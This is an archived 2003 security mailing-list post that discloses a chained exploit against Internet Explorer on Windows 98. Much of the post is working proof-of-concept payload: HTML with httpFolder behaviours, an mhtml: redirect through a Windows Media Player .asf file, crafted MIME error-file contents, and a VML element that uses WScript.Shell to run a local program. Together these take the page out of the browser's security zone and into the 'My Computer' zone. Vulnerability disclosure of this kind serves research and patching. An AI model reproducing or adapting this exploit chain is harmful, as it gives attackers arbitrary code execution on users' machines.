Thursday, May 1, 2003 The following represents a trivial yet elaborate method of injecting arbitrary html into the "My Computer" zone on win98 using the Internet Explorer series of browsers. The manufacturer, commonly known as "Microsoft" has a done a splendid job of battening down the hatches with many of the "quirky" behaviors associated with her best known product; Internet Explorer. Specifically: 1. Microsoft Security Bulletin MS03-014 Cumulative Patch for Outlook Express (330994) see: http://www.securityfocus.com/bid/5473/ 2. Microsoft Internet Explorer Self Executing HTML File Vulnerability see: http://www.securityfocus.com/bid/6961 this one is particularly fascinating as an 'unannounced' patch was crammed into Microsoft Security Bulletin MS03-008 - Flaw in Windows Script Engine Could Allow Code Execution (814078) of March 19, 2003 for 2. above in a relatively quick fashion: Feb 25, 2003 to March 19, 2003 whereby now the extracted executable is placed in the Temporary Internet File [TIF] and controlled by the browser security setting. Anyway: Internet Explorer enjoys a unique component called the 'Web Folder" component. This is a selectable component install with the original installation of the browser or can be added later on. This unique component allows for an assortment of web publishing and authoring conveniences often touted as useful "feature". But what it actually does, is create a nicely named file for us in a known location. Where: The Internet Explorer series 5 through 6 enjoy a related behavior to the so-called "Web Folder" component which allows us to point directly to one of these web folders and traverse it directly. However, should the folder not exist, an error message is generated and conveniently placed for us in the temp folder: So: This particular error message is nothing more than a server side 404 error message which can be modified to suit our needs as we require. Commence: 1. We first construct our trivial behavior to generate the error message like so: <body onload=malware() style="behavior: url(#default#httpFolder);"> <script> function malware(){document.body.navigate ("http://www.microsoft.com");} </script>> What this will do is "probe" the target site for a webfolder, and if not found, create our error file in the temp folder as follows: [screen shot: http://www.malware.com/behave.png 4KB] 2. We then take our multi-faceted Windows Media Player and construct a 0s url flip *.asf file and point that to our named file in our known location: <iframe src="temp.asf"> URL: mhtml:file://C:\WINDOWS\TEMP\wecerr.txt Because the error file is nothing more than a text file, we need to include our own html and allow Internet Explorer to 'read' it. Previously numerous possibilities to allow for this existed, including <object data="" type="text/html>, databinding with dataformatas="HTML", dotting file extensions etc. These now all appear to be patched. Good: But because we can craft our own error message on the server and point our trivial behavior to it, we simply construct our error message like so: ------wecerr.txt------ MIME-Version: 1.0 Content-Type: text/html; charset="Windows-1252" Content-Transfer-Encoding: 7bit <HTML xmlns:v = "urn:schemas-microsoft-com:vml"> <STYLE>v\:* {BEHAVIOR: url(#default#VML)}</STYLE> </head> <body bgcolor=blue onload=malware() style="behavior: url (#default#httpFolder);"> <center><font size="24" color="red" face="arial">malware</font></center> <v:vmlframe style="LEFT: 50px; WIDTH: 300px; POSITION: relative; TOP: 30px; HEIGHT: 200px" src = "C:\WINDOWS\Temp\wecerr.txt#malware"></v:vmlframe> <script> function malware(){ document.body.navigate("http://www.microsofter.com"); </script> ------wecerr.txt------ What that will do is generate our simple text file in our temp folder, and by merely mhtml'izing our 0s url flip in our Media Player like so: mhtml:file://C:\WINDOWS\TEMP\wecerr.txt, Internet Explorer will open our text file in full html splendor. Where it gets particularly interesting is as follows: 1. We place both our silly behavior and our iframe with 0s url flip on the same page 2. You navigate to that, automatically our silly behavior generates our custom crafted error file and places it in our known location. Simultaneously, our Media Player automatically opens our 0s url flip *.asf and points to that same file. 3. Because the Media Player is launched from the local machine [the physical player], it is able to navigate locally to the file vs. security measures currently in place to disallow referencing files from the internet directly to the local machine. 4. What then happens is our *.txt file is conveniently html'ized, but again, because of security measures, the html contents are actually extracted and opened from within the TIF as a *.TMP file -- this in accordance with Outlook Express recently cumulated security patches. In this case, while it would appear that we are inside the local machine and outside the security restrictions, we are in fact unable to do anything at all. 5. In order to defeat that we include a second file and scheme to then bypass that restriction. Our handy VML frame: <v:vmlframe style="LEFT: 50px; WIDTH: 300px; POSITION: relative; TOP: 30px; HEIGHT: 200px" src = "C:\WINDOWS\Temp\wecerr.txt#malware"></v:vmlframe> Because there is no restriction on referencing a local file remotely [from the TIF as an extracted MIME file] with this method, we create a second wecerr.txt with a different custom crafted content: <xml xmlns:v = "urn:schemas-microsoft-com:vml"> <v:rect id="malware" fillcolor="red" style="position:relative;top:1;left:1;width:20;height:20" onmouseover="javascript:alert(document.location);var wsh=new ActiveXObject('WScript.Shell');wsh.Run('telnet.exe');''"> </v:rect> </xml> 6. This is automatically generated once our first mhtml'ized wecerr.txt is opened and it automatically overwrites the first, allowing our VML frame to be rendered. 7. Now even with the MHTML file extracted and controlled by the TIF security settings, it is pointing back to the local machine and temp folder, and because it was originally extracted locally [from the TIF as an extracted MIME file], we are once again operating outside the security zone, in the "My Computer" zone and back to square one. [screen shot: http://www.malware.com/aces.png 11KB] Notes: 1. None. End Call -- http://www.malware.com
This archive was generated by hypermail 2b30 : Thu May 01 2003 - 13:00:42 PDT
